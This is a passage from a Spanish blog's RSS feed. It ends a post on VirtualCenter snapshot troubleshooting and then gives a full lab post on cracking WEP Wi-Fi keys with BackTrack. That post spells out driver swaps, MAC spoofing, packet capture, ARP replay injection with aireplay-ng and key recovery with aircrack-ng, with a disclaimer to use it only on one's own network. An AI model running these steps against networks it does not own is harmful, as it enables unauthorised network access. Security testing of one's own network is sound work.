<p><a class="vt-p" href="http://www.vidanez.com/wp-content/uploads/2010/07/Captura-de-pantalla-2010-07-12-a-las-15.54.47.jpg"><img class="aligncenter size-medium wp-image-120" title="Captura de pantalla 2010-07-12 a las 15.54.47" src="http://www.vidanez.com/wp-content/uploads/2010/07/Captura-de-pantalla-2010-07-12-a-las-15.54.47-300x224.jpg" alt="Captura Snapshotmanager" width="300" height="224" /></a></p>
<p>En el Snapshot Manager borre uno a uno esos 18 snapshot, y le di un reinicio al sistema del Vcenter Server, y conseguimos recuperar el servicio.</p>
<p>Buscar quien fue el causante de estos 18 Snapshot fue un poco mas complicado <img src='http://www.vidanez.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.vidanez.com%2F2010%2F07%2F12%2Fproblemas-de-caidas-continuas-del-servicio-virtualcenter-server%2F&amp;title=Problemas%20de%20ca%C3%ADdas%20continuas%20del%20servicio%20VirtualCenter%20Server" id="wpa2a_16"><img src="http://www.vidanez.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.vidanez.com/2010/07/12/problemas-de-caidas-continuas-del-servicio-virtualcenter-server/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Laboratorio: Prueba de concepto. Crackear claves WEP usando Backtrack</title>
		<link>http://www.vidanez.com/2010/02/24/laboratorio-prueba-de-concepto-crackear-claves-wep-usando-backtrack/</link>
		<comments>http://www.vidanez.com/2010/02/24/laboratorio-prueba-de-concepto-crackear-claves-wep-usando-backtrack/#comments</comments>
		<pubDate>Wed, 24 Feb 2010 17:59:29 +0000</pubDate>
		<dc:creator>Juan José Vidañez</dc:creator>
				<category><![CDATA[LINUX]]></category>
		<category><![CDATA[SEGURIDAD]]></category>

		<guid isPermaLink="false">http://www.vidanez.com/?p=114</guid>
		<description><![CDATA[A continuación comparto una prueba de concepto para nuestras redes wifi de tipo WEP. En ningún caso aconsejo usar esto para una red Wifi que no sea de nuestra propiedad. El CHIP de wireless es el INTEL PRO/Wireless 3945ABG Network Nota: los comandos os los paso en forma de script para que podáis crear ejecutables con ellos, [...]]]></description>
				<content:encoded><![CDATA[<p>A continuación comparto una prueba de concepto para nuestras redes wifi de tipo WEP. En ningún caso aconsejo usar esto para una red Wifi que no sea de nuestra propiedad.</p>
<p>El CHIP de wireless es el INTEL PRO/Wireless 3945ABG Network</p>
<p>Nota: los comandos os los paso en forma de script para que podáis crear ejecutables con ellos, o sueltos y ejecutáis uno a uno</p>
<p>Comenzamos:<br />
Tenemos que cambiar los drivers de la tarjeta ya que no soportan modo promiscuo. En el backtrack viene unos que nos interesan</p>
<p>Script: &#8220;ipw3945i.sh&#8221;</p>
<p><em>#!/bin/bash<br />
echo &#8220;[*] Removing IPW3945 drivers&#8221;<br />
rmmod ipwraw<br />
rmmod iwl3945<br />
rmmod mac80211<br />
echo &#8220;[*] Inserting IPWRAW drivers (raw mode)&#8221;<br />
modprobe ipwraw<br />
</em><br />
Lanzamos :</p>
<p><em>iwconfig<br />
</em><br />
Vemos cual es la tarjeta wifi, en mi caso es wifi0 continuo usandola como ejemplo.<br />
Me cambio la MAC , este es un numero de cada &#8220;tarjeta del mundo&#8221;. Tambien podemos cambiarnos la MAC para imitar una que este conectada en la nuestra red.</p>
<p><em>ifconfig wifi0 down<br />
macchanger &#8211;mac 00:10:20:30:40:50 wifi0<br />
ifconfig wifi0 up<br />
ifconfig wifi0</em></p>
<p>En este punto podemos usar <em>&#8220;Backtrack-&gt;Wireless Tools -&gt; Analyzers -&gt;Kismet&#8221;</em> para elegir la red a la que atacar, o usar los comandos:</p>
<p><em>airmon-ng start wifi0<br />
airodump-ng wifi0</em></p>
<p>El software este se puede tambien ordenar como el kismet pero la verdad nunca lo he intentado,  aconsejo un vistazo al man para ver que tal &#8230;.<br />
Una vez elegida la red a la que atacar haces un &#8220;CRTL+C&#8221; en esa ventana para que pare. Apuntas el bssid (MAC), el essid (NOMBRE) y channel (CANAL).</p>
<p>En otra ventana de shell que abriremos y dejaremos lanzado el comando, para monitorizar esa red elegida para atacarla:</p>
<p><em>airodump-ng -c $CHANNEL -w $ESSID &#8211;bssid $BSSID wifi0<br />
</em><br />
Rellenando los datos de los que hemos recogido antes ($). Si el essid tiene espacios lo pones entre comillas.</p>
<p>En otra venta de shell comenzamos el ataque en si.</p>
<p>Nos asociamos al AP, con el comando rellenado ($) el dato recopilado antes:</p>
<p><em>aireplay-ng -1 0 -a $BSSID -h 00:10:20:30:40:50 wifi0</em></p>
<p>Aqui es normalmente cuando puede fallar el invento ya que no le guste nuestra fakeMAC (00:10:20:30:40:50) al AP. Tendremos que cambiarla en caso necesario.</p>
<p>Ahora comenzamos a meterle paquetes rellenado los datos necesarios ($):</p>
<p><em>aireplay-ng -3 -b $BSSID -h 00:10:20:30:40:50 wifi0<br />
</em><br />
Cabe la posiblidad de que de golpe nos dia algo asi como &#8220;<code>notice: got a deauth/disassoc packet. Is the source MAC associated ?" </code>Eso es simplemente que tenemos que volver a lanzar la asociacion en otra shell, porque el router o AP se ha percatado de nuestro ataque y nos ha dado la patadita.</p>
<p>Y si todo es correcto solo nos queda esperar a que los ARP nos vayan subiendo. Es necesario unos 100.000 o 200.000 dependiendo si la pass es de 64bits o 128bits. Esta es la parte de paciencia, si no estuvieramos metiendole paquetes con el aireplay tendriamos que esperar conexiones en la red.</p>
<p><em>Read 129275 packets (got 54575 ARP requests and 70947 ACKs), sent 83561 packets…(499 pps)<br />
</em><br />
Una vez tenemos eso ya veremos que en el sistema tendremos unos ficheros del nombre de la essid con extension &#8220;.cap&#8221; en el directorio en el que estábamos.<br />
Pues realizamos rellenado los datos ($):</p>
<p>aircrack-ng -n 64 &#8211;bssid $BSSID $ESSID.cap</p>
<p>Para crackear una pass 64bit. El resultado nos viene como grupos de 2 separados por &#8220;:&#8221; quetamos los &#8220;:&#8221; y el chorizo se lo podemos poner directamente al windows.</p>
<p>aircrack-ng -n 128 &#8211;bssid $BSSID $ESSID.cap</p>
<p>Para cargarnos una de 128bit, y el resultado seria el mismo que anteriormente.</p>
<p>El backtrack esta disponible en  <a href="http://www.remote-exploit.org/" target="_blank">http://www.remote-exploit.org/</a></p>
<p>Espero que despues de esto puedas probar la seguridad de tu red y la importancia de usar protocolos más seguros.</p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.vidanez.com%2F2010%2F02%2F24%2Flaboratorio-prueba-de-concepto-crackear-claves-wep-usando-backtrack%2F&amp;title=Laboratorio%3A%20Prueba%20de%20concepto.%20Crackear%20claves%20WEP%20usando%20Backtrack" id="wpa2a_18"><img src="http://www.vidanez.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.vidanez.com/2010/02/24/laboratorio-prueba-de-concepto-crackear-claves-wep-usando-backtrack/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
